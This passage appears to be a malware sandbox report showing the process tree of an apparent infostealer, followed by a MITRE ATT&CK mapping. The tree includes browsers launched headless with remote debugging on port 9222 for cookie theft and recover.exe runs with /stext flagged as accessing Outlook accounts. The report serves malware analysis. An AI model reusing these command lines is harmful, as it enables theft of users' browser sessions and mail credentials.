        "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --string-annotations --noerrdialogs --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=4956,i,13642089904781685928,11759343356199627122,262144 --disable-features=PaintHolding --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=4876 /prefetch:1
        6⤵
        Uses browser remote debugging
        
        PID:3632
      - C:\Program Files\Google\Chrome\Application\Chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --string-annotations --noerrdialogs --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --field-trial-handle=5384,i,13642089904781685928,11759343356199627122,262144 --disable-features=PaintHolding --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=5460 /prefetch:1
        6⤵
        Uses browser remote debugging
        
        PID:4036
      - C:\Program Files\Google\Chrome\Application\Chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --string-annotations --noerrdialogs --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --field-trial-handle=5536,i,13642089904781685928,11759343356199627122,262144 --disable-features=PaintHolding --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=5552 /prefetch:1
        6⤵
        Uses browser remote debugging
        
        PID:5024
      - C:\Program Files\Google\Chrome\Application\Chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --string-annotations --noerrdialogs --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --field-trial-handle=3288,i,13642089904781685928,11759343356199627122,262144 --disable-features=PaintHolding --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=3192 /prefetch:1
        6⤵
        Uses browser remote debugging
        
        PID:5008
      - C:\Program Files\Google\Chrome\Application\Chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --string-annotations --noerrdialogs --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=5580,i,13642089904781685928,11759343356199627122,262144 --disable-features=PaintHolding --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=3260 /prefetch:1
        6⤵
        Uses browser remote debugging
        
        PID:2024
      - C:\Program Files\Google\Chrome\Application\Chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --string-annotations --noerrdialogs --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --field-trial-handle=5140,i,13642089904781685928,11759343356199627122,262144 --disable-features=PaintHolding --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=5064 /prefetch:1
        6⤵
        Uses browser remote debugging
        
        PID:2580
      - C:\Program Files\Google\Chrome\Application\Chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --noerrdialogs --field-trial-handle=5564,i,13642089904781685928,11759343356199627122,262144 --disable-features=PaintHolding --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=5204 /prefetch:8
        6⤵
        
        PID:5868
      - C:\Program Files\Google\Chrome\Application\Chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --noerrdialogs --field-trial-handle=5604,i,13642089904781685928,11759343356199627122,262144 --disable-features=PaintHolding --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=5628 /prefetch:8
        6⤵
        
        PID:1064
      - C:\Program Files\Google\Chrome\Application\Chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --noerrdialogs --field-trial-handle=5660,i,13642089904781685928,11759343356199627122,262144 --disable-features=PaintHolding --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=3212 /prefetch:8
        6⤵
        
        PID:556
    - - C:\Windows\SysWOW64\recover.exe
        
        C:\Windows\SysWOW64\recover.exe /stext "C:\Users\Admin\AppData\Local\Temp\nkzvgricuyjtktqtemlysbwyfc"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:5016
    - - C:\Windows\SysWOW64\recover.exe
        
        C:\Windows\SysWOW64\recover.exe /stext "C:\Users\Admin\AppData\Local\Temp\yeeohjtvigbfuzexvxgsvorporgif"
        5⤵
        Accesses Microsoft Outlook accounts
        System Location Discovery: System Language Discovery
        
        PID:1016
    - - C:\Windows\SysWOW64\recover.exe
        
        C:\Windows\SysWOW64\recover.exe /stext "C:\Users\Admin\AppData\Local\Temp\ihkyicexeotkxnabehttgtdyxxqryyee"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5592
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --headless --remote-debugging-port=9222 --profile-directory="Default"
        5⤵
        Uses browser remote debugging
        Drops file in Program Files directory
        Checks processor information in registry
        Enumerates system info in registry
        Modifies data under HKEY_USERS
        Modifies registry class
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        
        PID:1620
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x238,0x23c,0x240,0x234,0x248,0x7ff823ccf208,0x7ff823ccf214,0x7ff823ccf220
        6⤵
        
        PID:4536
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --noerrdialogs --always-read-main-dll --field-trial-handle=2280,i,7451654679518964355,7978770251409811607,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2276 /prefetch:3
        6⤵
        
        PID:4796
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --headless --string-annotations --noerrdialogs --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2248,i,7451654679518964355,7978770251409811607,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2240 /prefetch:2
        6⤵
        
        PID:3476
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --always-read-main-dll --field-trial-handle=2648,i,7451654679518964355,7978770251409811607,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2644 /prefetch:8
        6⤵
        
        PID:4880
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --noerrdialogs --instant-process --pdf-upsell-enabled --remote-debugging-port=9222 --disable-databases --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3540,i,7451654679518964355,7978770251409811607,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3536 /prefetch:1
        6⤵
        Uses browser remote debugging
        
        PID:4636
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --noerrdialogs --pdf-upsell-enabled --remote-debugging-port=9222 --disable-databases --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=4244,i,7451654679518964355,7978770251409811607,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4100 /prefetch:1
        6⤵
        Uses browser remote debugging
        
        PID:4548
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --video-capture-use-gpu-memory-buffer --string-annotations --noerrdialogs --always-read-main-dll --field-trial-handle=4744,i,7451654679518964355,7978770251409811607,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3496 /prefetch:8
        6⤵
        
        PID:4580
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --video-capture-use-gpu-memory-buffer --string-annotations --noerrdialogs --always-read-main-dll --field-trial-handle=4908,i,7451654679518964355,7978770251409811607,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4904 /prefetch:8
        6⤵
        
        PID:2484
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --noerrdialogs --always-read-main-dll --field-trial-handle=4408,i,7451654679518964355,7978770251409811607,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4452 /prefetch:8
        6⤵
        
        PID:540
      - C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --noerrdialogs --always-read-main-dll --field-trial-handle=5536,i,7451654679518964355,7978770251409811607,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5540 /prefetch:8
        6⤵
        
        PID:5840
      - C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --noerrdialogs --always-read-main-dll --field-trial-handle=5536,i,7451654679518964355,7978770251409811607,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5540 /prefetch:8
        6⤵
        
        PID:2956
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --noerrdialogs --always-read-main-dll --field-trial-handle=5664,i,7451654679518964355,7978770251409811607,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5660 /prefetch:8
        6⤵
        
        PID:5756
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --noerrdialogs --always-read-main-dll --field-trial-handle=5636,i,7451654679518964355,7978770251409811607,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4716 /prefetch:8
        6⤵
        
        PID:4712
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --video-capture-use-gpu-memory-buffer --string-annotations --noerrdialogs --always-read-main-dll --field-trial-handle=5808,i,7451654679518964355,7978770251409811607,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5804 /prefetch:8
        6⤵
        
        PID:3572
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --noerrdialogs --always-read-main-dll --field-trial-handle=5696,i,7451654679518964355,7978770251409811607,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6076 /prefetch:8
        6⤵
        
        PID:3408
- C:\Windows\system32\cmd.exe
  cmd /c exit /b 0
  2⤵
  PID:2188

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:2408

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1944

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
1⤵
PID:1852

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Modify Authentication Process

Privilege Escalation

Defense Evasion

Modify Authentication Process

Credential Access

Modify Authentication Process

Steal Web Session Cookie

T1539

Discovery

Query Registry

Remote System Discovery

T1018

System Information Discovery